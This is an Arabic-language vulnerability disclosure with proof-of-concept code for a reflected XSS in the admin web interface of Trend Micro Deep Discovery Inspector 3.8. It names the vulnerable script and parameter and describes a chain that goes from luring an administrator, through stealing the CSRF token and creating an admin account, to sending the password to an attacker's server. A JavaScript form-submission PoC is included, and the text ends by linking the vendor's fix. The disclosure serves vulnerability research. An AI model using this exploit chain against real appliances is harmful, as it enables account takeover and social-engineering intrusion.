
إثبات مفهوم لاستغلال XSS المنعكس في Trend Micro Deep Discovery Inspector 3.8، مما يتيح تجاوز CSRF والاستيلاء على حساب المسؤول عبر واجهة الويب المصادق عليها.
لقد وجدت ثغرة XSS انعكاسية في واجهة الإدارة على الويب لـ Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. مسار السكربت المعرّض هو /php/detection_detail_filter.php. هذا السكربت لا يمكن الوصول إليه إلا من قبل مستخدم مصادق، لكن هذا لا يجعل الثغرة أقل خطورة، بالنظر إلى سيناريو الهجوم الموضح أدناه.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
يؤكد Screen1.png أن معامل ips[] معرّض لحقن كود HTML.
يمكن استخدام هذه الثغرة لتجاوز حماية CSRF، والحصول على رمز CSRF، وشن هجوم CSRF بنجاح. بل ويمكن تحقيق السيطرة الكاملة على جهاز Deep Discovery Inspector باستخدام السيناريو التالي:
1. المستخدم الذي سجّل دخوله إلى واجهة الويب الخاصة بـ DDI يتم إغراؤه لزيارة صفحة ويب خبيثة.
2. يتم تشغيل سكربت خبيث على هذه الصفحة باستخدام ثغرة XSS الموجودة في /php/detection_detail_filter.php
3. يحصل السكربت على رمز CSRF عبر طلب PUT إلى /wsgi/csrf/get_token/
4. ثم يستخدم الرمز الذي تم الحصول عليه من الاستجابة للطلب السابق لإضافة حساب بصلاحيات مسؤول
5. يتم الحصول على كلمة المرور للحساب المضاف من الاستجابة للطلب السابق.
6. يمكن نقل كلمة المرور إلى خادم المهاجم عبر طلب HTTP
يعرض Screen2.png الهجوم أثناء التنفيذ.
لإعادة إنتاج الهجوم، يمكنك استخدام المقطع البرمجي التالي (يجب تغيير المتغير ddi_ip وفقًا لعنوان IP الخاص بجهاز DDI لديك):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
يجب وضع كود PoC هذا على خادم الويب الخاص بالمهاجم، ويجب أن يفتح رابطًا إلى هذا الخادم مستخدم (بصلاحيات مسؤول) مسجّل دخوله إلى واجهة الويب الخاصة بـ DDI. يمكن إغراء المستخدم للنقر على الرابط باستخدام الهندسة الاجتماعية.
قامت Trend Micro بتوفير الحل التالي: https://success.trendmicro.com/solution/1121079